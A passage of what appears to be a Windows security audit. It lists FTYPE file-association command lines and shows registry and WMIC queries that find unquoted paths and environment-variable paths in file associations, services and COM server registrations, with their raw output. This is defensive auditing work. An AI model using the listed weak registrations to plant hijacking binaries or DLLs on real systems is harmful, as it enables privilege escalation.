chm.file="%SystemRoot%\hh.exe" %1
CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
ftp="C:\Program Files\Internet Explorer\iexplore.exe" %1
giffile="C:\Program Files\Internet Explorer\iexplore.exe" %1
hlpfile=%SystemRoot%\winhlp32.exe %1
htmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
http="C:\Program Files\Internet Explorer\iexplore.exe" %1
https="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.HTM="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.MHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.PARTIAL="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.SVG="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.XHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.FTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.HTTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.HTTPS="C:\Program Files\Internet Explorer\iexplore.exe" %1
inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
mhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
ms-msdt="%SystemRoot%\system32\msdt.exe" %1
ms-msime-imepad=C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
ms-msime-imjpdct=C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
ms-perception-simulation=%SystemRoot%\system32\PerceptionSimulation\PerceptionSimulationInput.exe %1
ms-quick-assist="%SystemRoot%\system32\quickassist.exe" %1
ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
MSDASC=Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
prffile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
ratfile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
svgfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
xhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
xmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
xslfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1

Command lines with unquoted environment variable(s) in an argument or with unquoted argument(s):

FTYPE | FIND.EXE " %"

Application.Manifest="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication %1
Application.Reference="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbShortcut %1|%2
batfile="%1" %*
CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
chm.file="%SystemRoot%\hh.exe" %1
cmdfile="%1" %*
comfile="%1" %*
CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
exefile="%1" %*
ftp="C:\Program Files\Internet Explorer\iexplore.exe" %1
giffile="C:\Program Files\Internet Explorer\iexplore.exe" %1
hlpfile=%SystemRoot%\winhlp32.exe %1
htafile=C:\Windows\SysWOW64\mshta.exe "%1" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}%U{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} %*
htmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
http="C:\Program Files\Internet Explorer\iexplore.exe" %1
https="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.HTM="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.MHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.PARTIAL="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.SVG="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.AssocFile.URL="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
IE.AssocFile.WEBSITE="C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*
IE.AssocFile.XHT="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.FTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.HTTP="C:\Program Files\Internet Explorer\iexplore.exe" %1
IE.HTTPS="C:\Program Files\Internet Explorer\iexplore.exe" %1
IMEDictionaryCompiler="%WINDIR%\system32\IME\SHARED\imewdbld.exe" "%1" %*
inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
InternetShortcut="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l
JSEFile=C:\Windows\System32\WScript.exe "%1" %*
JSFile=C:\Windows\System32\WScript.exe "%1" %*
mhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
Microsoft.System.Update.1="%systemroot%\system32\wusa.exe" "%1" %*
Microsoft.Website="C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*
ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
ms-msdt="%SystemRoot%\system32\msdt.exe" %1
ms-msime-imepad=C:\Windows\System32\IME\SHARED\IMEPADSV.EXE %1
ms-msime-imjpdct=C:\Windows\System32\IME\IMEJP\IMJPDCT.EXE %1
ms-perception-simulation=%SystemRoot%\system32\PerceptionSimulation\PerceptionSimulationInput.exe %1
ms-quick-assist="%SystemRoot%\system32\quickassist.exe" %1
ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
mscfile=%SystemRoot%\system32\mmc.exe "%1" %*
MSDASC=Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
Msi.Package="%SystemRoot%\System32\msiexec.exe" /i "%1" %*
Msi.Patch="%SystemRoot%\System32\msiexec.exe" /p "%1" %*
msstylesfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
PerfFile=%SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
piffile="%1" %*
prffile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
ratfile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
rlogin="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
svgfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
telnet="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
tn3270="C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
VBEFile="%SystemRoot%\System32\WScript.exe" "%1" %*
VBSFile="%SystemRoot%\System32\WScript.exe" "%1" %*
webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
Windows.XamlDocument="C:\Windows\System32\PresentationHost.exe" "%1" %*
Windows.Xbap="C:\Windows\System32\PresentationHost.exe" "%1" %*
WPDContextMenu.Url="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l
WSFFile="%SystemRoot%\System32\WScript.exe" "%1" %*
WSHFile="%SystemRoot%\System32\WScript.exe" "%1" %*
xhtmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
xmlfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
xslfile="C:\Program Files\Internet Explorer\iexplore.exe" %1
zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1

Command lines containing an environment variable:

SET SLOPPY=APPDATA CommonProgramFiles CommonProgramFiles(x86) CommonProgramW6432 ComSpec LOCALAPPDATA LOGONSERVER ProgramData ProgramFiles ProgramFiles(x86) ProgramW6432 PUBLIC SystemDrive SystemRoot TEMP TMP USERPROFILE WINDIR
FTYPE | FINDSTR.EXE /I "%!SLOPPY: =% %!%"

CABFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
CATFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1
CERFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1
CertificateStoreFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1
certificate_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"
chm.file="%SystemRoot%\hh.exe" %1
CompressedFolder=%SystemRoot%\Explorer.exe /idlist,%I,%L
contact_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"
CRLFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1
desktopthemepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
Diagnostic.Cabinet=%SystemRoot%\system32\msdt.exe /cab "%1"
Diagnostic.Config=%SystemRoot%\system32\msdt.exe /path "%1"
Diagnostic.Document=%SystemRoot%\system32\msdt.exe /path "%1"
Diagnostic.Perfmon.Config=%SystemRoot%\system32\perfmon /sys /load "%1"
Diagnostic.Perfmon.Document=%SystemRoot%\system32\perfmon /sys /open "%1"
Diagnostic.Resmon.Config=%SystemRoot%\system32\perfmon /res /load "%1"
docxfile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
emffile="%systemroot%\system32\mspaint.exe" "%1"
evtfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
evtxfile=%SystemRoot%\system32\eventvwr.exe /l:"%1"
Explorer.AssocActionId.BurnSelection=%SystemRoot%\explorer.exe
Explorer.AssocActionId.EraseDisc=%SystemRoot%\explorer.exe
Explorer.AssocActionId.ZipSelection=%SystemRoot%\explorer.exe
Explorer.AssocProtocol.search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
Folder=%SystemRoot%\Explorer.exe
group_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"
hlpfile=%SystemRoot%\winhlp32.exe %1
IMEDictionaryCompiler="%WINDIR%\system32\IME\SHARED\imewdbld.exe" "%1" %*
imesxfile="%WINDIR%\system32\IME\SHARED\imesearch.exe" "%1"
inffile=%SystemRoot%\system32\NOTEPAD.EXE %1
inifile=%SystemRoot%\system32\NOTEPAD.EXE %1
LDAP="%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
MacromediaFlashPaper.MacromediaFlashPaper="%ProgramFiles%\Internet Explorer\iexplore.exe" "%1"
Microsoft.ProvTool.Provisioning.1="%SystemRoot%\System32\provtool.exe" "%1" /source ShellOpen
Microsoft.System.Update.1="%systemroot%\system32\wusa.exe" "%1" %*
ms-availablenetworks="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
ms-mmsys=%SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl %1
ms-msdt="%SystemRoot%\system32\msdt.exe" %1
ms-perception-simulation=%SystemRoot%\system32\PerceptionSimulation\PerceptionSimulationInput.exe %1
ms-quick-assist="%SystemRoot%\system32\quickassist.exe" %1
ms-rdx-document=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\RDXService,OpenRDXDocument %1
ms-settings-connectabledevices="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
ms-settings-displays-topology="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
ms-virtualtouchpad="%SystemRoot%\system32\LaunchWinApp.exe" "%1"
mscfile=%SystemRoot%\system32\mmc.exe "%1" %*
MSDASC=Rundll32.exe "%CommonProgramFiles%\System\OLE DB\oledb32.dll",OpenDSLFile %1
Msi.Package="%SystemRoot%\System32\msiexec.exe" /i "%1" %*
Msi.Patch="%SystemRoot%\System32\msiexec.exe" /p "%1" %*
MSInfoFile=%SystemRoot%\system32\msinfo32.exe "%1"
msstylesfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,Control_RunDLL %SystemRoot%\system32\desk.cpl desk,@Appearance /Action:OpenMSTheme /file:"%1"
odtfile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
opensearchdescription=%SystemRoot%\explorer.exe
P7RFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenP7R %1
P7SFile=%SystemRoot%\system32\\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
pbkfile=%SystemRoot%\system32\rasphone.exe -f "%1"
PerfFile=%SystemRoot%\system32\mmc.exe %systemroot%\system32\perfmon.msc /F "%1"
PFXFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPFX %1
PhotoViewer.FileAssoc.Tiff=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
prffile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnPRF %1
ratfile="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\msrating.dll",ClickedOnRAT %1
RDP.File="%systemroot%\system32\mstsc.exe" "%1"
RemoteAssistance.1="%systemRoot%\system32\msra.exe" -openfile "%1"
rlefile="%systemroot%\system32\mspaint.exe" "%1"
rtffile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
SavedDsQuery=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
search=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
search-ms=%SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
SHCmdFile=%SystemRoot%\explorer.exe
SPCFile=%SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
textfile="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
themefile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
themepackfile=%SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
TIFImage.Document=%SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
Undecided=%SystemRoot%\system32\OpenWith.exe "%1"
Unknown=%SystemRoot%\system32\OpenWith.exe "%1"
VBEFile="%SystemRoot%\System32\WScript.exe" "%1" %*
VBSFile="%SystemRoot%\System32\WScript.exe" "%1" %*
vcard_wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"
WAB.AssocProtocol.LDAP="%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
wab_auto_file="%ProgramFiles%\Windows Mail\wab.exe" /Import "%1"
wbcatfile=%SystemRoot%\system32\sdclt.exe /restorepage
webpnpFile=%SystemRoot%\system32\wpnpinst.exe %1
Windows.CompositeFont="%SystemRoot%\System32\notepad.exe" "%1"
WindowsStore.License=%SystemRoot%\System32\licensemanagershellext.exe "%1"
wmffile="%systemroot%\system32\mspaint.exe" "%1"
Wordpad.Document.1="%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
WPDContextMenu.Url="%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l
WSFFile="%SystemRoot%\System32\WScript.exe" "%1" %*
WSHFile="%SystemRoot%\System32\WScript.exe" "%1" %*
zapfile=%SystemRoot%\system32\NOTEPAD.EXE %1

COM classes registered with an unqualified filename or a pathname containing an environment variable:

( REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "InProcHandler" /K /S /VE
  REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "InProcHandler32" /K /S /VE
  REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "InProcServer" /K /S /VE
  REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "InProcServer32" /K /S /VE
) | FINDSTR.EXE /B /C:"    (Default)    REG_" 1>"%TMP%\Sloppy.tmp"
FINDSTR.EXE /V "\\" "%TMP%\Sloppy.tmp"
FINDSTR.EXE "%" "%TMP%\Sloppy.tmp"

COM servers registered with an unquoted long pathname containing a space:

( REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "LocalServer" /K /S /VE
  REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "LocalServer32" /K /S /VE
) | FINDSTR.EXE /B /C:"    (Default)    REG_" 1>"%TMP%\Sloppy.tmp"
FINDSTR.EXE /I /C:"_SZ    %CommonProgram" "%TMP%\Sloppy.tmp"
FINDSTR.EXE /I /C:"_SZ    %Program" "%TMP%\Sloppy.tmp"
FINDSTR.EXE /I /C:"_SZ    %ProgramFiles%" "%TMP%\Sloppy.tmp"

Command lines of services with unquoted long pathnames containing a space:

WMIC.EXE /APPEND:"%USERPROFILE%\Desktop\Sloppy.log" Service WHERE "NOT PathName LIKE '%.%' OR NOT PathName LIKE '%\\%' OR PathName LIKE '%SystemDrive%\\Program %' OR PathName LIKE '%\\Windows %'" GET Name, PathName, StartName

Name           PathName                                                                        StartName
Sense          "C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"      LocalSystem
WdNisSvc       "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2004.6-0\NisSrv.exe"   NT AUTHORITY\LocalService
WinDefend      "C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2004.6-0\MsMpEng.exe"  LocalSystem
WMPNetworkSvc  "C:\Program Files\Windows Media Player\wmpnetwk.exe"                            NT AUTHORITY\NetworkService

COM classes registered with an unqualified filename or a pathname containing an environment variable:

FOR %? IN (InProcHandler InProcHandler32 InProcServer InProcServer32 LocalServer LocalServer32 DefaultIcon ToolBoxBitmap32) DO @WMIC.EXE /APPEND:"%USERPROFILE%\Desktop\Sloppy.log" PATH Win32_ClassicCOMClassSetting WHERE "NOT %? LIKE '%.%' OR NOT %? LIKE '%\\%' OR %? LIKE '%[%]APPDATA[%]%' OR %? LIKE '%[%]CommonProgramFiles[%]%' OR %? LIKE '%[%]CommonProgramFiles(x86)[%]%' OR %? LIKE '%[%]LOCALAPPDATA[%]%' OR %? LIKE '%[%]LOGONSERVER[%]%' OR %? LIKE '%[%]ProgramData[%]%' OR %? LIKE '%[%]ProgramFiles[%]%' OR %? LIKE '%[%]ProgramFiles(x86)[%]%' OR %? LIKE '%[%]PUBLIC[%]%' OR %? LIKE '%[%]SystemDrive[%]%' OR %? LIKE '%[%]SystemRoot[%]%' OR %? LIKE '%[%]TEMP[%]%' OR %? LIKE '%[%]TMP[%]%' OR %? LIKE '%[%]USERPROFILE[%]%' OR %? LIKE '%[%]WINDIR[%]%'" GET ComponentId, ProgId, %?

No Instance(s) Available.

ComponentId                             InprocHandler32                             ProgId
{0e119e63-267a-4030-8c80-5b1972e0a456}  %SystemRoot%\system32\shcore.dll
{1535D95C-2365-447D-9800-B75501A19C0C}  %SystemRoot%\system32\ShareHost.dll
{195C8ACD-5F96-4C67-BBCF-B0CD7073500C}  %SystemRoot%\system32\ShareHost.dll
{1cc78354-9ded-4c1b-bd81-c67b0289a4e5}  %SystemRoot%\system32\windows.storage.dll
{214DFBF5-5983-4B54-996D-B7FC67E0A1FD}  %SystemRoot%\system32\Windows.Storage.dll
{251b1498-5cba-4bee-8242-2f57773151aa}  %SystemRoot%\system32\Windows.Storage.dll
{320690f4-8d7b-4f55-a98d-89ebb01fa776}  %SystemRoot%\system32\Windows.Storage.dll
{36BAA497-8C84-4700-96A1-88E1876EC5B9}  %SystemRoot%\system32\ShareHost.dll
{3c5edebe-16c6-4ee4-906b-436aa1f6ef9e}  %SystemRoot%\system32\twinapi.appcore.dll
{4333fd20-ca5f-4095-a535-edb00455ce66}  %SystemRoot%\system32\shcore.dll
{4347F4C2-6A7D-40DF-9A4F-C185317AF183}  %SystemRoot%\system32\ShareHost.dll
{594103b8-e428-4461-b8d7-dd0ae12d31d9}  %SystemRoot%\system32\Windows.Storage.dll
{70BF9CA8-182C-4BE8-8BE8-1A9217A5D1B5}  %SystemRoot%\system32\Windows.Storage.dll
{73FDDC80-AEA9-101A-98A7-00AA00374959}  ole32.dll                                   WordPad.Document.1
{7513af53-9c75-4ad4-b47e-8d855099e023}  %SystemRoot%\system32\shcore.dll
{788B686B-EA20-41CD-A018-1BFD506194B2}  %SystemRoot%\system32\ShareHost.dll
{7bce3cfb-954c-438f-974c-73a8e0593f1a}  %SystemRoot%\system32\shcore.dll
{7e57f418-1f71-4411-9e09-45884f4f4714}  %SystemRoot%\system32\shcore.dll
{8FF007D1-C3E3-44D5-86AF-2ECB5F663D7C}  %SystemRoot%\system32\Windows.Storage.dll
{a5183349-82de-4bfc-9c13-7d9dc578729c}  %SystemRoot%\system32\Windows.Storage.dll
{B243A9FD-C57A-4D3E-A7CF-21CAED64CB5A}  %systemroot%\system32\CoreUIComponents.dll
{be88f957-42cc-4da7-92cf-9bc35c5d5ee2}  %SystemRoot%\system32\Windows.Storage.dll
{ccc63ae1-56a5-4f9c-abe8-e55674f0c0a6}  %SystemRoot%\system32\Windows.Storage.dll
{CF0E916A-DA25-49CA-A264-1D41C009EED0}  %SystemRoot%\system32\ShareHost.dll
{D3E34B21-9D75-101A-8C3D-00AA001A1652}  ole32.dll                                   Paint.Picture
{da158800-7434-4410-a0cd-e497c3b4a9da}  %SystemRoot%\system32\Windows.Storage.dll
{da620430-5f6c-447d-8091-c5757e275b37}  %SystemRoot%\system32\shcore.dll
{f1f72421-6433-4de9-982d-c8dc12cb569c}  %SystemRoot%\system32\shcore.dll
{fd8d7f86-2f0c-43bb-b225-97ac3c04567b}  %SystemRoot%\system32\shcore.dll

No Instance(s) Available.

ERROR:
Description = Exception occured.

No Instance(s) Available.

ComponentId                             LocalServer32                                                                                                                                      ProgId
{0002DF01-0000-0000-C000-000000000046}  "%ProgramFiles%\Internet Explorer\iexplore.exe"                                                                                                    InternetExplorer.Application.1
{0002DF02-0000-0000-C000-000000000046}  %SystemRoot%\system32\browser_broker.exe                                                                                                           BrowserBroker.BrowserBroker.1
{00f2b433-44e4-4d88-b2b0-2698a0a91dba}  "%SystemRoot%\System32\rundll32.exe" "%ProgramFiles%\Windows Photo Viewer\PhotoAcq.dll",AutoplayComServerW {00f2b433-44e4-4d88-b2b0-2698a0a91dba}  Microsoft.PhotoAcqHWEventHandler.1
{0289a7c5-91bf-4547-81ae-fec91a89dec5}  %systemroot%\system32\WinrsHost.exe
{031EE060-67BC-460d-8847-E4A7C5E45A27}  "%ProgramFiles%\Windows Media Player\wmprph.exe"
{03837511-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceDataProviderCollection.1
{03837513-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceDataProvider.1
{0383751C-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceSession.1
{03837521-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.DataCollectorSet.1
{03837525-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.DataCollectorSetCollection.1
{03837526-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyDataCollectorSet.1
{03837527-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyDataCollectorSetCollection.1
{03837528-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyTraceSession.1
{03837529-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.LegacyTraceSessionCollection.1
{03837530-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.TraceSessionCollection.1
{03837531-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.ServerDataCollectorSet.1
{03837532-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.ServerDataCollectorSetCollection.1
{03837538-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.BootTraceSession.1
{03837539-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.BootTraceSessionCollection.1
{03837546-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.SystemDataCollectorSet.1
{03837547-098B-11D8-9414-505054503030}  %SystemRoot%\system32\plasrv.exe                                                                                                                   PLA.SystemDataCollectorSetCollection.1
{046AEAD9-5A27-4D3C-8A67-F82552E0A91B}  %SystemRoot%\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {046AEAD9-5A27-4D3C-8A67-F82552E0A91B}
{047ea9a0-93bb-415f-a1c3-d7aeb3dd5087}  %SystemRoot%\System32\fsquirt.exe
{054AAE20-4BEA-4347-8A35-64A533254A9D}  "%CommonProgramFiles%\microsoft shared\ink\TabTip.exe"
{0823B6F8-F499-4d5e-B885-EA9CB4F43B24}  %SystemRoot%\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.153_none_e74acfe72624a02b\TiWorker.exe
{08FC06E4-C6B5-40BE-97B0-B80F943C615B}  %SystemRoot%\System32\ProximityUxHost.exe
{115e13cf-cfe8-4821-b0da-e06aa4d51426}  %SystemRoot%\system32\RdpSaProxy.exe
{1202DB60-1DAC-42C5-AED5-1ABDD432248E}  %SystemRoot%\System32\mobsync.exe
{152EA2A8-70DC-4C59-8B2A-32AA3CA0DCAC}  "%SystemRoot%\System32\RmtTpmVscMgrSvr.exe"
{16A18E86-7F6E-4C20-AD89-4FFC0DB7A96A}  "%SystemRoot%\System32\TpmVscMgrSvr.exe"
{19833350-BF9B-42A1-BDF0-BD1FCBE1FD31}  "%SystemRoot%\System32\ImmersiveTpmVscMgrSvr.exe"
{19C65143-6230-42FA-A58E-7D9FA9BE2EB5}  %SystemRoot%\system32\wkspbroker.exe                                                                                                               WorkspaceBroker.WorkspaceBroker.1
{1A1F4206-0688-4E7F-BE03-D82EC69DF9A5}  %SystemRoot%\System32\mobsync.exe
{1C749B87-568C-4865-8E73-6413F8372CE6}  "%systemroot%\system32\lpksetup.exe"
{1F87137D-0E7C-44d5-8C73-4EFFB68962F2}  %systemroot%\system32\wbem\wmiprvse.exe -secured
